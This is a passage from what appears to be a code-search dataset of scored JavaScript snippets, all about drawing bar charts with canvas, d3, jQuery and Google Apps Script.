if(score==-Infinity) {\n barcolor=colors.inf?colors.inf:'#b5b5b5';\n if(max>0 && min<0) {\n barh=pheight*(0-min)/(max-min);\n bary=pointup ? (y+pheight-barh) : y;\n } else {\n bary=y;\n barh=pheight;\n }\n } else {\n if(max>0 && min<0) {\n if(score>=0) {\n barh=pheight*Math.min(score,max)/(max-min);\n barcolor=colors.p;\n bary = y+pheight*max/(max-min) - (pointup ? barh : 0);\n if(score>=max && colors.pth) {\n tipcolor=colors.pth;\n tipy= pointup ? y : y+pheight-2;\n }\n } else {\n barh=pheight*(0-Math.max(score,min))/(max-min);\n barcolor=colors.n;\n bary = y+pheight*max/(max-min) - (pointup ? 0 : barh);\n if(score<=min && colors.nth) {\n tipcolor=colors.nth;\n tipy= pointup ? y+pheight-2 : y;\n }\n }\n } else if(max>0) {\n barcolor=colors.p;\n if(score<min) {\n } else if(min>0 && score==min) {\n barh=1;\n bary=pointup ? y+pheight-1 : y;\n } else {\n barh=pheight*(Math.min(score,max)-min)/(max-min);\n bary= pointup ? (y+pheight-barh) : y;\n if(score>=max && colors.pth) {\n tipcolor=colors.pth;\n tipy= pointup ? y : y+pheight-2;\n }\n }\n } else {\n barcolor=colors.n;\n if(score>max) {\n } else if(max<0 && score==max) {\n barh=1;\n bary=pointup ? y: y+pheight-1;\n } else {\n barh=pheight*(max-Math.max(score,min))/(max-min);\n bary= pointup ? y : (y+pheight-barh);\n if(score<=min && colors.nth) {\n tipcolor=colors.nth;\n tipy= pointup ? y+pheight-2 : y;\n }\n }\n }\n }\n if(barh==null) {\n if(tosvg) svgdata.push({type:svgt_no});\n } else {\n if(colors.barbg) {\n ctx.fillStyle=colors.barbg;\n ctx.fillRect(x,y,w,pheight);\n if(tosvg) svgdata.push({type:svgt_line,x1:x, y1:y, x2:x, y2:y+pheight, w:w, color:ctx.fillStyle});\n }\n\n ctx.fillStyle = barcolor;\n ctx.fillRect(x, bary, w, barh);\n if(tosvg) svgdata.push({type:svgt_rect,x:x,y:bary,w:w,h:barh,fill:barcolor});\n }\n if(tipy) {\n ctx.fillStyle = tipcolor;\n ctx.fillRect(x, tipy, w, 2);\n if(tosvg) svgdata.push({type:svgt_rect,x:x,y:tipy,w:w,h:2,fill:tipcolor});\n }\n x+=w;\n }\n if(tosvg) return svgdata;\n}", "title": "" }, { "docid": "0b0adcc38ff2424a6e1d80d8d486ade8", "score": "0.61281675", "text": "clckVertical() { \n \n this.typeColumn = \"BarChart\";\n }", "title": "" }, { "docid": "20d47203983d749261b1965d861320f2", "score": "0.61142844", "text": "function devut(){\n\tley.clearRect(0,0,x,y);\n\ttxt.clearRect(0,0,x,y);\n\tvar a=40;\n\t//block sit for the bars\n\tley.moveTo(10,0);\n\tley.lineTo(10,y-30);\n\tley.lineTo(x,y-30);\n\tley.strokeStyle=\"white\";\n\tley.stroke();\n\t//beginnig of loop for plotting 6 bars with random height\n\tfor (var i = 0; i<6; i++) {\t\t\t\n\t\tvar b= Math.round(Math.random()*(0.89*y)); //random height\n\t\t//the bars are given colors\n\t\tif (b>200) {\n\t\t\tley.fillStyle=\"green\";\n\t\t\tley.fillRect(a,y-30,30,-b);\n\t\t}\n\t\tif (b>=100 && b<=200){\n\t\t\tley.fillStyle=\"yellow\";\n\t\t\tley.fillRect(a,y-30,30,-b);\n\t\t}else{\n\t\t\tif (b<100) {\n\t\t\t\tley.fillStyle=\"red\";\n\t\t\t\tley.fillRect(a,y-30,30,-b);\n\t\t\t}\n\t\t};\n\t //text are written and positioned below each bar\n\t\ttxt.strokeText(b,a+5,y-7);\n\t\ttxt.font=\"17px century gothic\";\n\t\ttxt.stokeStyle=\"white\";\n\t //parameterized side bar colors to indicate the level of each data\n\t\t\t\ta=a+40;\n\t\tsid1(0,0,10,99);\n\t\tsid2(0,100,10,100);\n\t\tsid3(0,201,10,90); \n\t} \n}", "title": "" }, { "docid": "f0800ccd2a10b480590b6457850e46b3", "score": "0.6110608", "text": "drawVisualizer() {\n // Initial bar x coordinate\n let y,\n x = 0;\n\n // Clear the complete canvas\n this.visualizer.ctx.clearRect(\n 0,\n 0,\n this.visualizer.width,\n this.visualizer.height\n );\n /**\n * Set the primary colour of the brand\n * (probably moving to a higher object level variable soon)\n * Start creating a canvas polygon\n */\n this.visualizer.ctx.beginPath();\n // Start at the bottom left\n this.visualizer.ctx.moveTo(x, 0);\n this.visualizer.ctx.fillStyle = this.state.config.translucent;\n this.state.eq.bands.forEach(band => {\n /**\n * Get the overall hight associated to the current band and\n * convert that into a Y position on the canvas\n */\n y = this.state.config.multiplier * band;\n // Draw a line from the current position to the wherever the Y position is\n this.visualizer.ctx.lineTo(x, y);\n /**\n * Continue that line to meet the width of the bars\n * (canvas width ÷ bar count).\n */\n this.visualizer.ctx.lineTo(x + this.visualizer.barWidth, y);\n // Add pixels to the x for the next bar\n x += this.visualizer.barWidth;\n });\n // Bring the line back down to the bottom of the canvas\n this.visualizer.ctx.lineTo(x, 0);\n // Fill it\n this.visualizer.ctx.fill();\n }", "title": "" }, { "docid": "8e57b59f066d626a3ba4d5b18eeb0435", "score": "0.60969055", "text": "preRenderBar() {\n const barCanvasCtx = this.barCanvas.getContext(\"2d\");\n barCanvasCtx.fillStyle = this.props.colors[23];\n barCanvasCtx.fillRect(0, 0, 6, 2);\n for (let i = 0; i <= 15; i++) {\n const colorNumber = 17 - i;\n barCanvasCtx.fillStyle = this.props.colors[colorNumber];\n const y = 32 - i * 2;\n barCanvasCtx.fillRect(0, y, 6, 2);\n }\n }", "title": "" }, { "docid": "83073e0941e1968a67574d56c6508715", "score": "0.60955364", "text": "async function CreateBarChart() {\n try {\n await CreateBarOrColumnChart(barChartFlag);\n } catch (error) {\n console.error(error);\n }\n }", "title": "" }, { "docid": "5c1f9cbd9d58ac3b76958bf5152c974c", "score": "0.6081999", "text": "function makeBars(barColor) {\n var bars = chart\n .append(\"rect\")\n .attr(\"x\", function(d, i) {\n return xScale(i);\n })\n .attr(\"y\", function(d) {\n return yScale(d.dollars);\n })\n .attr(\"width\", xScale.bandwidth())\n .attr(\"height\", function(d) {\n return h - yScale(d.dollars) - padding;\n })\n .attr(\"fill\", barColor);\n\n return bars;\n }", "title": "" }, { "docid": "dfb4c3f21c4414559cdebac3f5becc25", "score": "0.6061125", "text": "function renderCanvasBars(chartEl) {\n const barsContainer = document.createElement(\"canvas\");\n barsContainer.setAttribute(\"width\", 400);\n barsContainer.setAttribute(\"height\", 140);\n chartEl.appendChild(barsContainer);\n\n const ctx = barsContainer.getContext('2d');\n \n barsData.forEach((barData, index) => {\n ctx.fillStyle = barData.color;\n ctx.fillRect(0, index * (BAR_HEIGHT + BAR_MARGIN), CHART_WIDTH * barData.value / 100, BAR_HEIGHT);\n });\n }", "title": "" }, { "docid": "d9455d26564a585438dc179bdf4be871", "score": "0.6057753", "text": "function drawBarChart(data, options, element){\n\n //The Functions\n function drawXYBox(element) {\n $(element).prepend(\"<div class=xyData></div>\");\n $(\".xyData\").css({\n \"height\" : \"auto\",\n \"width\" : \"auto\",\n \"float\" : \"left\",\n \"display\" : \"inline-block\"\n });\n }\n\n function drawYLabel(element, options) {\n $(element).prepend(\"<div class=yLabel></div>\");\n $(\".yLabel\").css({\n \"display\" : \"inline-block\",\n \"float\" : \"left\",\n \"margin-top\" : \"-9.5px\"\n });\n $(element).prepend('<div class=yTitle contenteditable=true>' + options[3] + '</div>');\n $(\".yTitle\").css({\n \"display\" : \"inline-block\",\n \"float\" : \"left\",\n \"writing-mode\" : \"tb-rl\",\n \"text-align\" : \"center\",\n \"margin-right\" : \"10px\",\n \"height\" : options[21],\n \"color\" : options[4],\n \"font-size\" : options[5]\n });\n }\n\n function drawXLabel(options, chartWidth, element){\n $(element).prepend(\"<div class=xTitle contenteditable=true>\" + options[6] + \"</div>\");\n $(\".xTitle\").css({\n \"text-align\" : \"center\",\n \"padding-left\" : \"60px\",\n \"width\" : chartWidth,\n \"margin-top\" : \"10px\",\n \"margin-bottom\" : \"20px\",\n \"color\" : options[7],\n \"font-size\" : options[8]\n })\n }\n\n function drawMainTitle(options, chartWidth, element) {\n $(element).prepend(\"<div class=title contenteditable=true>\" + options[0] + \"</div>\");\n $(\".title\").css({\n \"width\" : chartWidth,\n \"padding-left\" : \"60px\",\n \"text-align\" : \"center\",\n \"color\": options[1],\n \"font-size\" : options[2],\n \"margin-bottom\" : \"15px\"\n }); \n }\n\n //Functions to draw the BARS\n function drawBars(ID, maxVal, options, data) {\n //Append a container to the allData div for the bar being drawn\n $(\".allData\").append(\"<div class=data\" + ID + \"></div>\");\n //Set the bar to be displayed inline-block as the bars must be side by side\n $(\".data\" + ID).css({\n \"display\" : \"inline-block\",\n \"background-color\" : options[14]\n });\n\n function makeBottomBar(ID, i, data, options){\n $(\".dataBar\" + ID + i).css({\n \"border-top\" : \"1px solid black\",\n \"border-left\" : \"1px solid black\",\n \"border-right\" : \"1px solid black\"\n })\n if(options[23] === \"valDepend\"){\n $(\".dataBar\" + ID + i).css({\n \"width\" : (data[ID][i]), //Width based on the numeric value of bar\n })\n }else{\n $(\".dataBar\" + ID + i).css({\n //Determine the width of each bar based on the width of the chart area\n \"width\": (options[22] / (data.length + 1)) \n })\n }\n $(\".dataBar\" + ID + i).css({ \n \"position\" : \"relative\",\n \"background-color\" : options[15] // Change later in the options\n });\n\n // Getting the data points styled\n $(\".dataPoint\" + i).css({\n \"position\" : \"absolute\",\n \"left\" : \"50%\",\n \"color\" : options[17],\n \"font-size\" : options[18]\n });\n }\n\n function makeTopBar(ID, i, data, options){\n if(options[23] === \"valDepend\"){\n $(\".dataBar\" + ID + i).css({\n \"width\" : (data[ID][i]), //Width based on the numeric value of bar\n })\n }else{\n $(\".dataBar\" + ID + i).css({\n //Determine the width of each bar based on the width of the chart area\n \"width\": (options[22] / (data.length + 1)), \n })\n }\n $(\".dataBar\" + ID + i).css({ \n \"border\" : \"1px solid black\",\n \"position\" : \"relative\",\n \"background-color\" : options[16] // Change later in the options\n });\n\n $(\".dataPoint\" + i).css({\n \"position\" : \"absolute\",\n \"left\" : \"50%\",\n \"color\" : options[17],\n \"font-size\" : options[18]\n });\n }\n \n //for each datapoint in the bar, draw the bar (data for a single bar must be sorted from lowest-highest)\n for (var i = 1; i < data[ID].length; i++) {\n $(\".data\" + ID).prepend(\"<div class=dataBar\" + ID + i + \"><div class=dataPoint\" + i + \">\" + data[ID][i] + \"</div></div>\");\n if(i % 2 !== 0){ // BOTTOM BAR MAKING FUNCTION RUNNING\n makeBottomBar(ID, i, data, options)\n }else{ // TOP BAR MAKING FUNCTION RUNNING\n makeTopBar(ID, i, data, options)\n }\n\n //Set the dataPoint to display at either the top, middle or bottom of the bar\n if (options[19] === \"top\") {\n $(\".dataPoint\" + i).css(\"top\", \"5%\");\n $(\".dataPoint\" + i).css(\"transform\", \"translate(-50%, 0%)\");\n } else if (options[19] === \"middle\") {\n $(\".dataPoint\" + i).css(\"top\", \"50%\");\n $(\".dataPoint\" + i).css(\"transform\", \"translate(-50%, -50%)\");\n } else {\n $(\".dataPoint\" + i).css(\"bottom\", \"0%\");\n $(\".dataPoint\" + i).css(\"transform\", \"translate(-50%, -10%)\");\n }\n //For multiple values, we calculate the remaining height needed to add above the currently drawn values to get the correct height of the bar\n var heightVal = (data[ID][i] / maxVal) * options[21];\n //console.log(heightVal + \" outside\");\n for (var j = 1; j < i; j++) {\n //heightVal = (((data[ID][j] / maxVal) * options[21]) - heightVal) * (-1);\n //console.log(heightVal);\n }\n $(\".dataBar\" + ID + i).css(\"height\", heightVal);\n }\n $(\".data\" + ID).css(\"border-bottom\", \"1px solid black\");\n //add the space between each bar\n $(\".allData\").append(\"<div class=barSpace></div>\");\n } // END OF DRAW BARS FUNCTION\n\n //Function to create the bars using the data given\n function drawData(data, options) {\n $(\".xyData\").append(\"<div class=allData></div>\");\n $(\".allData\").css(\"border-left\", \"1px solid black\");\n \n //Find the max value contained in the data. It will be used to set the max height\n if(!isNaN(data[0][2])){\n var maxVal = data[0][1] + data[0][2];\n }else{\n var maxVal = data[0][1];console.log(maxVal)\n }\n for(let i = 0; i<data.length; i++){\n var arr = [], sum = 0;\n for(let j=1; j<data[i].length; j++){\n arr.push(data[i][j])\n }\n if(arr.length > 1){\n sum = arr.reduce((total, current)=>(total+current));\n }else{\n sum = arr[0];\n }\n if(maxVal < sum){maxVal = sum}\n }\n\n //Get the largest y-axis value, which will be the closest multiple of 5 to the max value rounded up.\n var maxValAxis = Math.ceil(maxVal / 5) * 5;\n //calls the drawBars function for each bar that needs to be drawn\n for (var i = 0; i < data.length; i++) {\n drawBars(i, maxValAxis, options, data);\n }\n\n //Sets the spacing between the bars to the value input in the options parameter\n $(\".barSpace\").css({\n \"width\" : options[20],\n \"display\" : \"inline-block\",\n \"border-bottom\" : \"1px solid black\"\n });\n return maxValAxis;\n }\n\n //The function that draws the axis marks of the x-axis and y-axis\n function drawAxisMarks(data, options, maxValAxis) {\n\n $(\".xyData\").append(\"<div class=xLabel></div>\");\n $(\".xLabel\").css(\"display\", \"flex\");\n $(\".xLabel\").css(\"flex-wrap\", \"nowrap\");\n \n //Each y-axis will have 10 axis-marks \n var increment = parseInt(options[13]); // Can be changed using the options value\n var yAxisSegments = Math.ceil(maxAxisVal / increment);\n //Every odd value of i, we draw an axis mark with a label (ie] -10), every even value we just draw an axis mark (ie] -).\n for (var i = (yAxisSegments -1); i >= -1; i--) {\n if (i % 2 != 0) { //i.e.- Odd value\n $(\".yLabel\").append(\"<div class=dashY\" + i + \">\" + maxValAxis + \"-</div>\");\n $(\".dashY\" + i).css(\"height\", (options[21] / yAxisSegments));\n } else {\n $(\".yLabel\").append(\"<div class=dashY\" + i + \">-</div>\");\n $(\".dashY\" + i).css(\"height\", (options[21] / yAxisSegments));\n }\n maxValAxis -= increment;\n $(\".dashY\" + i).css(\"text-align\", \"right\");\n }\n \n\n //for each bar, draw an x-axis label\n for (var i = 0; i < data.length; i++) {\n $(\".xLabel\").append(\"<div class=tick\" + i + \">\" + data[i][0] + \"</div>\");\n $(\".tick\" + i).css({\n \"display\" : \"inline-block\",\n //\"text-align\" : \"center\",\n //Translate the x-axis labels so they are written vertically\n \"writing-mode\" : \"tb-rl\",\n \"flex-grow\" : \"1\",\n \"top\" : \"50%\",\n \"padding-right\" : \"10px\",\n \"position\" : \"relative\",\n \"transform\" : \"translateX(-40%)\",\n });\n }\n\n //Color of the labels and add a margin\n $(\".xLabel\").css({\n \"margin\" : \"auto\",\n \"color\" : options[11],\n \"font-size\" : options[12]\n });\n $(\".yLabel\").css({\n \"color\" : options[9],\n \"font-size\" : options[10]\n });\n}\n\n//EXECUTING THE drawBarChart FUNCTION when BEING RUN IN THE SCRIPT FILE\n\n drawXYBox(element);\n drawYLabel(element, options);\n var maxAxisVal = drawData(data, options);\n drawAxisMarks(data, options, maxAxisVal);\n var chartWidth = $(\".xyData\").width();\n drawXLabel(options, chartWidth, element);\n drawMainTitle(options, chartWidth, element);\n\n //THE CLICK EVENTS\n // Main title, X-Title and Y-Title editable on CLICK\n $(\".title, .xTitle, .yTitle\").click((event) => {\n if($(event.target).attr('class') === 'title'){\n var input = window.prompt(\"Enter name of chart\", \"\");\n $(event.target).closest('div').text(input)\n }else if($(event.target).attr('class') === 'xTitle'){\n var input = window.prompt(\"Enter name for x-axis\", \"\");\n $(event.target).closest('div').text(input)\n }else if($(event.target).attr('class') === 'yTitle'){\n var input = window.prompt(\"Enter value for y-axis\", \"\");\n $(event.target).closest('div').text(input)\n }\n });\n\n //Changes color of individual xLabel colors ON CLICK\n $(\".xLabel\").click((event) => {\n var input = window.prompt(\"Enter a color\", \"\");\n $(event.target).closest('div').css(\"color\", input);\n });\n\n //Changes color of individual YLabel colors ON CLICK\n $(\".yLabel\").click((event) => {\n var input = window.prompt(\"Enter a color\", \"\");\n $(event.target).closest('div').css(\"color\", input);\n });\n\n}", "title": "" }, { "docid": "7765ac4eb8ed147f444875f483ae04be", "score": "0.60572857", "text": "function allCovenantLvls() {\n var covenantLvlsChart = createGraphics.newChart()\n .setChartType(Charts.ChartType.BAR)\n .setOption('title', 'Covenant Levels')\n .setOption('colors', ['#d5a6bd'])\n .addRange(allData.getRange(\"P23:S24\"))\n .setTransposeRowsAndColumns(true)\n .setOption('backgroundColor', '#00000000')\n .setPosition(37, 13, 0, 0)\n .build();\n createGraphics.insertChart(covenantLvlsChart);\n}", "title": "" }, { "docid": "af673e6ccc87891015f971768fbd7e39", "score": "0.6050025", "text": "resize(){\n $(this.container).find(\".clef\").remove(); //removes all the clefs already on the page\n $(this.container).find(\".conjoining-line-container\").remove() //removes all conjoining lines\n\n let barContainers = $(this.container + \" > .\" + this.barsContainer).children(); //all the bar containers\n\n for (let i = 0; i < barContainers.length; i++) {\n let currentBarX = barContainers.eq(i).offset().top; //x position of current bar\n let previousBarX; //x position of previous bar to compare it against, this is not set for the first bar obviously\n\n //sets previous bar if the current bar is not the first\n if (i > 0) {\n previousBarX = barContainers.eq(i - 1).offset().top;\n }\n\n\n //adds the thicker line to the first bar of each line of bars\n for (let i2 = 0; i2 < this.instruments.length; i2++) {\n\n let instrument = this.instruments[i2];\n let bar = instrument.bar(i + 1);\n\n let prevBar;\n if (i != 0){\n prevBar = instrument.bar(i);\n }\n\n if(!(instrument.id === this.instruments[this.instruments.length - 1].id)){\n if (bar != undefined){\n bar.addConjoiningLine();\n }\n\n if(previousBarX !== undefined){\n prevBar.addConjoiningLine(\"end\");\n }\n\n //if it's the last bar\n if(bar === instrument.bar(instrument.bars.length)){\n bar.addConjoiningLine(\"end\");\n }\n }\n\n if (currentBarX > previousBarX || previousBarX === undefined) {\n\n\n bar.addClef(); //bars are 1 indexed, not 0;\n\n //applies the thicker conjoining line to all bars but the last instrument\n if(!(instrument.id === this.instruments[this.instruments.length - 1].id)){\n\n bar.addConjoiningLine(\"bold\"); //the first line should be bold\n }\n\n //if it's not the very first bar, add the end of bar conjoining line to the previous bar\n\n\n }\n //adds the other, thinner lines to every other bar\n\n\n\n }\n\n }\n }", "title": "" }, { "docid": "896aea0b2796eefda41cac5d4db1c8ee", "score": "0.60499406", "text": "function barchart_walk_post() {\n\n var svg = d3.select(\"#walk_post_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n // Create the chart:\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.walk_post);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.walk_post);})\n .attr(\"fill\", walk_post_color);\n });\n }", "title": "" }, { "docid": "5180d10da2deb5d105b096ff7f1f5f36", "score": "0.604576", "text": "function drawBars() {\n setClassByData(BARS, \"bar\");\n setBarLength(BARS);\n setTitle(BARS);\n setCenterTitle(TARGET_BAR);\n setClick(BARS);\n setMouseover(BARS);\n BARS.classed(\"selected\", function(d){return d.selected;}); // apply data selected status\n }", "title": "" }, { "docid": "6557ce7c0faf96ac8809bff8ee0edb9d", "score": "0.60368466", "text": "function renderRaceBiasMotivationsBarFirstTime(svgId, race_bias_motivation_subcategory, barchartColor, titlePrefix, bartCharId, titleId){\n console.log(\"renderRaceBiasMotivationBar function invoked with a Bias Motivation Category of \" + race_bias_motivation_subcategory + \" and barchart color: \" + barchartColor + \" and title prefix: \" + titlePrefix);\n\n\n var margin = {top: 40, right: 20, bottom: 50, left: 70},\n width = WIDTH - margin.left - margin.right,\n height = HEIGHT - margin.top - margin.bottom;\n\n var colorBar = d3.scaleOrdinal(d3.schemeCategory20);\n var barPadding = 1;\n\n //console.log(\"renderTotalHateCrimeIncidents function called with \" + svgId + \"with canvas width: \" + width + \" and convas height: \" + height + \" top margin: \" + margin.top + \" bottom margin: \" + margin.bottom + \" left margin: \" + margin.left + \" right margin: \" + margin.right);\n\n\n //set up annotations\n\n var annotations = [{\n note: {\n align: \"right\",\n label: \"Blacks and African Americans make up 13.6 % of the U.S. Population.\",\n title: \"Blacks and African Americans\"\n },\n x: 100 + margin.left, y: 250 + margin.bottom * 0.25,\n dy: -15,\n dx: 0,\n subject: { text: 'A', y:\"bottom\" },\n id: \"minimize-badge\"\n },{\n note: {\n align: \"left\",\n label: \"Hispanics make up 16.3 % of the U.S. Population.\",\n title: \"Hispanics\"\n },\n x: 150 + margin.left, y: 300 + margin.bottom * 0.25,\n dy: -15,\n dx: 0,\n subject: { text: 'B', y:\"bottom\" },\n id: \"minimize-badge\"\n },\n {\n note: {\n align: \"right\",\n label: \"Whites make up 72.4 % of the U.S. Population.\",\n title: \"Whites\"\n },\n x: 748 + margin.left, y: 225 + margin.bottom * 0.25,\n dy: -15,\n dx: -5,\n subject: { text: 'C', y:\"bottom\" },\n id: \"minimize-badge\"\n }\n ];\n\n var type = d3.annotationCalloutElbow;\n\n //add annotations\n var makeAnnotations = d3.annotation()\n .editMode(false)\n .type(type)\n .annotations(annotations);\n\n //end of annotation setup\n\n\n\n\n\n\n//add variable and properties for tooltip \n var tip = d3.tip()\n .attr('class', 'd3-tip')\n .offset([-10, 0])\n .html(function(d) {\n return \"Race or Ethnicity of Offender: \" + d.Race_Ethnicity_Of_Offender_Desc + \"<br> Percent of Offenses: \" + d.Percent_Of_Offenses + \" %\";\n });\n\n var svg = d3.select(svgId).append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .attr(\"id\", bartCharId);\n\n \n console.log(\"svg: \" + svg + \" svg width: \" + svg.style(\"width\") + \" svg height: \" + svg.style(\"height\")); \n\n //set the drawing position at the top left margin of the SVG\n var g = svg.append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\"); \n\n//add tooltip to svg\n\n svg.call(tip);\n var barchart_data = {};\n //retrieve the data\n d3.json(\"data/table5_2013_2015_summ_pivot.json\", function(error, data){\n if (error) throw error;\n\n data.forEach(function(d) {\n d.Offenses = +d.Offenses;\n d.Percent_Of_Offenses = +d.Percent_Of_Offenses;\n console.log(\"bias motivation subcategory: \" + d.Bias_Motivation_SubCategory + \"Race or Ethnicity of Offender: \" + d.Race_Ethnicity_Of_Offender + \" Number of Offenses: \" + d.Offenses + \" Percent of Offenses \" + d.Percent_Of_Offenses);\n });\n\n //filter data by bias motiviation subcategory\n //var barchart_data = data.filter(function (d) {return d.Bias_Motivation_SubCategory == race_bias_motivation_subcategory}); \n //console.log(JSON.stringify(barchart_data));\n\n //create the x and y scales\n\n var xScale = d3.scaleLinear()\n .domain([0, data.length])\n .range([0, width])\n ;\n \n // Create linear y scale \n // Purpose: No matter what the data is, the bar should fit into the svg area; bars should not\n // get higher than the svg height. Hence incoming data needs to be scaled to fit into the svg area. \n var yScale = d3.scaleLinear()\n // use the max funtion to derive end point of the domain (max value of the dataset)\n // do not use the min value of the dataset as min of the domain as otherwise you will not see the first bar\n .domain([0, d3.max(data, function(d) { return d.Offenses; })])\n // As coordinates are always defined from the top left corner, the y position of the bar\n // is the svg height minus the data value. So you basically draw the bar starting from the top. \n // To have the y position calculated by the range function\n .range([height, 0])\n ;\n\n //start appending the rectangles for the bar chart\n g.selectAll(\"rect\")\n .data(data)\n .enter()\n .append(\"rect\")\n .attr(\"x\", function(d, i) {\n return xScale(i);\n })\n .attr(\"width\", width / data.length - barPadding) \n .attr(\"y\", function(d) {\n return yScale(d.Offenses);\n }) \n .attr(\"height\", function(d) {\n return height-yScale(d.Offenses);\n })\n .attr(\"fill\", barchartColor)\n .on('mouseover', tip.show)\n .on('mouseout', tip.hide)\n ;\n\n\n\n // Add y labels to plot \n \n g.selectAll(\"text\")\n .data(data)\n .enter()\n .append(\"text\")\n .text(function(d) {\n return d.Percent_Of_Offenses + \" %\";})\n .attr(\"text-anchor\", \"middle\")\n // Set x position to the left edge of each bar plus half the bar width\n .attr(\"x\", function(d, i) {\n return (i * (width / data.length)) + ((width / data.length - barPadding) / 2);\n })\n .attr(\"y\", function(d) {\n return yScale(d.Offenses);\n })\n .attr(\"class\", \"yAxis\")\n\n \n // Add x labels to chart \n \n var xLabels = svg\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + (margin.top + height) + \")\")\n ;\n\n xLabels.selectAll(\"text.xAxis\")\n .data(data)\n .enter()\n .append(\"text\")\n .text(function(d) { return d.Race_Ethnicity_Of_Offender;})\n .attr(\"text-anchor\", \"middle\")\n //.attr(\"transform\", \"rotate(90)\")\n // Set x position to the left edge of each bar plus half the bar width\n .attr(\"x\", function(d, i) {\n return (i * (width / data.length)) + ((width / data.length - barPadding) / 2);\n })\n\n .attr(\"y\", 15)\n .attr(\"class\", \"xAxis\")\n ; \n\n\n\n\n // Title\n \n var titleText = function(d){\n return \"Percentage of Hate Crime Offenses (2012 - 2015) By Offenders\";\n };\n\n\n\n svg.append(\"text\")\n .attr(\"x\", (width + margin.left + margin.right)/2 + 75)\n .attr(\"y\", 10)\n .attr(\"class\",\"title\") \n .attr(\"text-anchor\", \"middle\")\n .text(titleText)\n .attr(\"id\", titleId);\n ;\n\n\n });\n \n //render annotations\n \n svg.append(\"g\")\n .attr(\"class\", \"annotation-group\")\n .call(makeAnnotations);\n \n\n\n //renderRaceBiasMotivationsLine(svgId);\n}", "title": "" }, { "docid": "50df29e8d6a68a1d0a6c64b63f8c23f3", "score": "0.6013236", "text": "function fillFinalChart() {\n var idcCtx = document.querySelector('#final-chart').getContext('2d');\n var idcChart = new Chart(idcCtx).Bar(finalData, {});\n }", "title": "" }, { "docid": "6cdc5ab5f740cff05552e5abc3dba26c", "score": "0.600255", "text": "function drawBars() {\n\nx.domain(dataset.map(function (d) { return d[\"Country\"]; })) \n .round(true) \n .range([0, width])\n .paddingInner(0.05);\n\ny.domain([40, 50])\n .range([height, 0]);\n\nsvg.selectAll(\".bar\")\n .data(dataset, function (d) { return d[\"Country\"]; })\n .enter().append(\"rect\")\n .attr(\"class\", \"bar\")\n .attr(\"x\", function (d) { return x(d[\"Country\"]); })\n .attr(\"y\", function (d) { return y(d[\"Labor_2016\"]); })\n .attr(\"width\", x.bandwidth())\n .attr(\"fill\", d=>get_color(d[\"Labor_2016\"]))\n .attr(\"height\", function (d) { return height - y(d[\"Labor_2016\"]); });\n\nsvg.selectAll(\".planet_label\")\n .data(dataset, function (d) { return d[\"Country\"]; })\n .enter().append(\"text\")\n .text(function (d) { return d[\"Country\"]; })\n .attr(\"class\", \"planet_label\")\n .attr(\"x\", function (d) { return x(d[\"Country\"]) + x.bandwidth() / 2; })\n .attr(\"y\", function (d) { return height+15; });\n\n\nvar xAxis;\nxAxis = d3.axisBottom()\n .scale(x)\n .tickFormat('');\n\nsvg.append(\"g\")\n .attr(\"class\", \"axis\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis);\n\nsvg.append(\"text\")\n .attr(\"class\", \"label\")\n .attr(\"font-weight\", \"bold\")\n .text(\"Developed Countries\")\n .attr(\"x\", width / 2 - 50)\n .attr(\"y\", height + 40);\n\nvar yAxis = d3.axisLeft()\n .scale(y)\n .ticks(5, '.0f');\n\nsvg.append(\"g\")\n .attr(\"class\", \"axis\")\n .call(yAxis);\n\nsvg.append(\"text\")\n.attr(\"transform\", \"rotate(-90)\")\n.attr(\"y\", 0 - padding.left + 10)\n.attr(\"x\",0 - (height / 2))\n.attr(\"dy\", \"1em\")\n.attr(\"font-weight\", \"bold\")\n.style(\"text-anchor\", \"middle\")\n.text(\"Women Labor Force (% to Total)\"); \n\nvar legend = svg.selectAll(\".legend\")\n .data(dataset)\n .enter().append(\"g\")\n .attr(\"class\", \"legend\")\n .attr(\"transform\", function(d, i) { return \"translate(0,\" + i * 20 + \")\"; });\n\n// color legend\nlegend.append(\"rect\")\n .attr(\"x\", width +50)\n .attr(\"y\", 20)\n .attr(\"width\", 20)\n .attr(\"height\", 20)\n .style(\"fill\", d=>get_color(d[\"Labor_2016\"]));\n\n// legend label\nlegend.append(\"text\")\n .attr(\"x\", width + 80)\n .attr(\"y\", 30)\n .attr(\"dy\", \".30em\")\n .style(\"text-anchor\", \"start\")\n .text(function(d) { return d[\"Country\"] + \" (\" + d[\"Labor_2016\"] + \"%)\";});\n\n}", "title": "" }, { "docid": "f4da599ec208362f7e1fec86fb01cbce", "score": "0.59998304", "text": "function setBars(selection) {\n\t\t\tselection\n\t\t\t\t.attr(\"height\", function(d) { return ((d.value < 0) ? 0 : d.value) * qubitRadius })\n\t\t\t\t.attr(\"transform\", function(d) {\n\t\t\t\t\treturn (d.substate === \"up\") ? \"translate(0, \" + ((1 - d.value) * qubitRadius) + \")\" : \"\";\n\t\t\t\t});\n\t\t}", "title": "" }, { "docid": "41fc1fbbfbadf0cef451089c22e7ac15", "score": "0.5979898", "text": "function renderBars(ctx: DataCanvasRenderingContext2D,\n xScale: (num: number) => number,\n yScale: (num: number) => number,\n range: ContigInterval<string>,\n bins: {[key: number]: BinSummary},\n options: Object) {\n if (_.isEmpty(bins)) return;\n\n var barWidth = xScale(1) - xScale(0);\n var showPadding = (barWidth > style.COVERAGE_MIN_BAR_WIDTH_FOR_GAP);\n var padding = showPadding ? 1 : 0;\n\n var binPos = function(pos: number, count: number) {\n // Round to integer coordinates for crisp lines, without aliasing.\n var barX1 = Math.round(xScale(1 + pos)),\n barX2 = Math.round(xScale(2 + pos)) - padding,\n barY = Math.round(yScale(count));\n return {barX1, barX2, barY};\n };\n\n var mismatchBins = ({} : {[key:number]: BinSummary}); // keep track of which ones have mismatches\n var vBasePosY = yScale(0); // the very bottom of the canvas\n var start = range.start(),\n stop = range.stop();\n\n // track last genomic 